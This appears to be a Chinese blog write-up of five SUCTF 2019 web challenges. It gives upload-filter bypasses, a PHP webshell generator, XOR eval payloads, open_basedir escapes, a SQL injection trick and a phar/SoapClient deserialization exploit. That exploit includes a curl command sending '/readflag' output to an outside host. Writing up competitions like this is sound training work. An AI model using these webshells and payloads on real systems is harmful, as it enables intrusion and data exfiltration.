1.web1-chkin

首先发现服务器中间件为nginx，并且fuzz上传过滤情况，是黑名单，带ph的全部不能上传切对文件内容中包含<?进行过滤，并且服务器对文件头有exif_type的判断，直接通过xbm格式绕过，传.htaccess和.user.ini是可以的，又因为此题为nginx，所以通过.user.ini结合文件夹中已经有的index.php使其包含上传的shell.png来getshell即可

2.web2-easyphp

做的时候思路也很明确，通过eval来调用get_the_flag函数，只需要异或出一个_GET即可，这里傻了刚开始一直以为异或得到字符串必须在url中通过'单引号或者双引号来包含着这些可以用的字符，因为这些字符有特殊含义，所以浏览器解码以后不能直接用，因为我fuzz异或字符时是以可打印字符为payload的，实际上这里要用到不可打印字符，这样浏览器即使解码也不会把其识别成有特殊含义的字符

上面是异或出来的可见字符，当然这些字符大多数有特殊含义，在浏览器端不能直接使用，要用的话也要让单引号包含着，当作字符串，但是这里是没有单引号或者双引号的

所有可打印字符的ascii码值为，只要是在这个范围内的字符，全部都会被浏览器解码为可见字符，因此可以在这个字符范围内进行异或字符的fuzz

['61', '62', '63', '64', '65', '66', '67', '68', '69', '6a', '6b', '6c', '6d', '6e', '6f', '70', '71', '72', '73', '74', '75',
 '76', '77', '78', '79', '7a', '41', '42', '43', '44', '45', '46', '47', '48', '49', '4a', '4b', '4c', '4d', '4e', '4f', '50',
 '51', '52', '53', '54', '55', '56', '57', '58', '59', '5a']

上图是fuzz出来的可以用的payload，可以看到可以用的payload，非常多，就拿第一个试试吧成功执行了phpinfo

payload为：

${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo

fuzz异或的脚本如下所示：

import string

ee= string.printable

a= map(lambda x:x.encode("hex"),list(ee))

_=[]

G=[]

E=[]

T=[]

print list(ee)

for i in range(256):

    for j in range(256):

        if (chr(i) not in list(ee)) & (chr(j) not in list(ee)):

            tem = i^j

            if chr(tem)=="_":

                temp=[]

                temp.append(str(hex(i)[2:])+"^"+str(hex(j))[2:])

                _.append(temp)

            if chr(tem)=="G":

                temp=[]

                temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])

                G.append(temp)

            if chr(tem)=="E":

                temp=[]

                temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])

                E.append(temp)

            if chr(tem)=="T":

                temp=[]

                temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])

                T.append(temp)

print _

print G

print E

print T

这里就可以执行get_the_flag函数了，就进入第二层

第二层是

function get_the_flag(){

    // webadmin will remove your upload file every 20 min!!!!

    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);

    if(!file_exists($userdir)){

    mkdir($userdir);

    }

    if(!empty($_FILES["file"])){

        $tmp_name = $_FILES["file"]["tmp_name"];

        $name = $_FILES["file"]["name"];

        $extension = substr($name, strrpos($name,".")+1);

    if(preg_match("/ph/i",$extension)) die("^_^");

        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");

    if(!exif_imagetype($tmp_name)) die("^_^");

        $path= $userdir."/".$name;

        @move_uploaded_file($tmp_name, $path);

        print_r($path);

    }

}

第二层和第一个题基本相似，ph全过滤，

但是可以上传.htaccess,因此可以使用

#!/usr/bin/python3

# Description : create and bypass file upload filter with .htaccess

# Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337

#SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):

    phpfile = open(filename, 'wb')

    phpfile.write(SIZE_HEADER)

    phpfile.write(script.encode('utf-16be'))

    phpfile.close()

def generate_htacess():

    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)

    htaccess.write(b'AddType application/x-httpd-php .ppp\n')

    htaccess.write(b'php_value zend.multibyte 1\n')

    htaccess.write(b'php_value zend.detect_unicode 1\n')

    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()

generate_htacess()

generate_php_file("webshell.ppp", "<?php eval($_GET['cmd']); die(); ?>")

拿到shell以后，这道题还有三种做法：

1.openbase_dir的限制，因此还要先绕过openbase_dir，

这里因为出题人disable_function的过滤不严，也可以通过

chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

来进行bypass列目录，然后再跳一次进行读取flag即可

2.直接通过绕过disable_dunction来进行绕过openbase_dir,这里出题人没过率好

3.预期解是通过攻击php-fpm的unix套接字来进行绕过openbase_dir和绕过disable_function,因为php-fpm通常就两种运行模式，fast-cgi和unix套接字模式运行，所以这里可以直接用p神的脚本，更改一下php_value的值即可

需要将这个默认文件改为unix套接字的路径

php7.2-fpm.sock默认在，unix:///run/php/php7.2-fpm.sock

但是0ctf中也出现过在其他目录，如/var/run/php/下，

'PHP_VALUE': 'auto_prepend_file = php://input'+chr(0x0A)+'open_basedir = /',

3.easy_sql

这道题拿上我就直接尝试的是短路型注入方式，length(database())={},根据返回1或者0来判断逻辑，但是后面就遇到问题了，可以跑出来库名为CTF，要跑表

但是限制了payload长度，因此没法继续注入去拿表名，并且from也是过滤了，还想过是不是可以直接猜测字段名通过substr(flag,1,1)这种来拿到flag，但是flag关键词也被过滤了，猜测了几个其它的字段也没用

这里也尝试过load_file,load_file('/flag')来尝试，但是也没反应，后面堆叠是可以查表查字段的，但是flag过滤了，prepare限制了sql语句的长度，也凉凉

这里把Flag字符串直接进行过滤了，强网杯也出过这种题，尝试预编译：

payload还没输完就报长度限制了，因此这种方法也不行

这里有队伍扫出源码了,.index.php.swp，我用dirsearch没扫到，得换个工具再扫一次。。

过滤关键词在这里

$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|fr om|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";

查询语句如上图所示，可以看到是支持堆叠查询的，感觉预期解应该是堆叠注入,然而并不是，是一个新的知识点

预期解为：

1;set sql_mode=pipes_as_concat;select 1

即将||或逻辑转为字符串连接，那么将会把任意传递的query内容和flag进行拼接返回

这题没有过滤*，导致非预期很严重，*,1直接可以出flag。，如果过滤好的话，这道题估计还是得猜逻辑

和字符串或时前面为1则返回1，前面为0则返回0，变为pipes_as_concat以后||就成了连接符了，还是一个比较新的点。

4.pytohnginx

看到题目第一眼立马想到blackhat2019刚出来的这个unicode编码的洞

这里之前不了解python的urllib.request.urlopen的截断，这里不存在的目录的话会直接截断导致没法读取文件，我刚开始选择是

那么转化以后c/o，o这个文件夹肯定是不存在的，因此没法读取，urlopen打开文件夹进行目录穿越时必须是存在的目录

比如上面这个app目录是存在的，题目的nginx配置文件如下图所示

这里有以下几种解法：

1.直接通过转换一个像c的字符，来进行读文件，delta的exp就是利用unicode字符范围来尝试出可以使用的字符串

from urllib.parse import urlparse,urlunsplit,urlsplit

from urllib import parse

def get_unicode():

    for x in range(65536):

        uni=chr(x)

        url="http://suctf.c{}".format(uni)

        try:

            if getUrl(url):

                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])

        except:

            pass

def getUrl(url):

    url = url

    host = parse.urlparse(url).hostname

    if host == 'suctf.cc':

        return False

    parts = list(urlsplit(url))

    host = parts[1]

    if host == 'suctf.cc':

        return False

    newhost = []

    for h in host.split('.'):

        newhost.append(h.encode('idna').decode('utf-8'))

    parts[1] = '.'.join(newhost)

    finalUrl = urlunsplit(parts).split(' ')[0]

    host = parse.urlparse(finalUrl).hostname

    if host == 'suctf.cc':

        return True

    else:

        return False

if __name__=="__main__":

    get_unicode()

随便选其中一个就可以，然后访问：

可以看到此时达成的效果是相同的

2.第二种就是多转为一个/，利用file://suctf.cc/usr/local/nginx/conf/nginx.conf先读nginx的配置文件，然后可以看到flag的位置在/usr/fffffflag，然后再读flag即可，这里不要移位nginx的配置文

件只是为/etc/nginx/nginx.conf，刚开始我不知道urlopen不存在的目录会截断==

3.利用file:////suctf.cc/etc/passwd来绕过,那么urlparse解析的时候将无法取到hostname

然后第二步将url分割，分割出来还是空，因此前两个if判断很容易bypass

经过第三步，此时finalurl和host都是满足条件的，主要是还是因为前面urlspilt时去掉了中间的两个//

然后进行任意文件读取即可，这个也是非预期，感觉比较有意思

5.uoload labs

这道题开了一会给源码了

其中index.php，限定了后缀，并且返回上传路径，对上传文件内容检测<?

func.php中，会对我们提交的文件地址进行访问

并调用getMIME函数进行文件内容检测，这里实际上猜也能猜到肯定这里存在phar反序列化，因为后面的admin.php限定了访问的ip地址

因此这里自然想到考了很多次的SoapClient反序列化，那么恰好这个File类又存在__wakeup函数

因此在反序列化时将会通过反射类机制实现类的实例化，并且调用类对象的check的函数，这里我们可以通过$this->func=“SoapClient”，$this->file_name为new SoapClient(null,payload)中的payload传入即可，并且调用不存在的check函数，从而发起soap请求，那么现在外层的思路已经清晰了，通过phar反序列化触发soap请求，那么这里读取文件的时候又进行了限制：

这里过滤了很多协议，phar://，conpress.bzip2,conpress.zlib都过滤了

因此可以用：

php://filter/resource=phar://

来绕过过滤，从而来触发phar反序列化，那么序列化链条已经好了，现在要构造内部数据，先贴一个exp(针对buu平台复现的，有所修改)：

<?php

system('rm -f 222.phar;rm -f *.gif');

$phar = new Phar('333.phar');

$phar->startBuffering();

$phar->addFromString('333.txt','text');

$phar->setStub('<script language="php">__HALT_COMPILER();</script>');

class File {

    public $file_name = "";

    public $func = "SoapClient";

    function __construct(){

        $target = "http://127.0.0.1/admin.php";

        $post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=qS1LKY"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";

        $headers = [];

        $this->file_name  = [

            null,

            array('location' => $target,

                  'user_agent'=> str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),

                  'uri'=>'hello')

        ];

    }

}

$object = new File;

echo urlencode(serialize($object));

$phar->setMetadata($object);

$phar->stopBuffering();

system('mv 222.phar 222.gif');

首先soap的内部数据，主要是访问admin.php时需要post过去的数据

这里调用将传递到admin.php的参数进行实例化了AD类，在这个类中，又通过反射类来实例一个对象，并通过该实例化的对象来调用反射出来的该类的方法，因此只要满足传递过去的clazz类存在并且传给该类的函数的参数可以为一个就行,这里可以直接用splstack类，就是php语言实现的一个栈数据类型的类，我们只需要随便调用其中一个方法即可，比如push方法，将数据压入栈中。

clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=

即这一个部分就可以构造好了，在用buuoj的平台测试的时候要注意cmd参数要适当转义

curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=qS1LKY"

这里一个部分要将&换为%26,防止命令行下将&识别为命令链接符号，比如ls & id，将执行两条命令，这里还要注意题目中对要读取的文件内容进行了一个过滤<?,那么在phar的stub中，也就是标志phar包的标志中：

$phar->setStub("GIF89aphp __HALT_COMPILER(); ?>"); //设置stub

所以只需要保证后面的一部分结尾正确即可。

或者可以使用前面题目中的<script language="php">来绕过

接下来直接生成exp进行测试即可，又可以收到flag了

然而这个不是预期解，预期解是：

$m = new mysqli();
$m->init(); 
$m->real_connect('ip','数据库账号','数据库密码','数据库',3306); 
$m->query('select 1;')//执行的sql语句

实际上是与下图的check函数是对应起来的

这样结合在vps搭建一个rouge mysql服务器就能够对客户端文件进行读取了，那么没设计好的是__destruct函数，这个析构函数在程序执行结束后也会执行一次，zedd师傅在后面也改成了__wakeup函数

正常情况下不执行__wakeup()

只有反序列化的时候会执行__wakeup（），然后执行__destruct()，然后程序运行结束销毁对象，在执行一次__destruct函数

关于mysql 客户端攻击链接：

https://paper.seebug.org/998/

巴特西

2019-SUCTF-web记录

1.web1-chkin

2.web2-easyphp

3.easy_sql

4.pytohnginx

5.uoload labs

最新文章

热门文章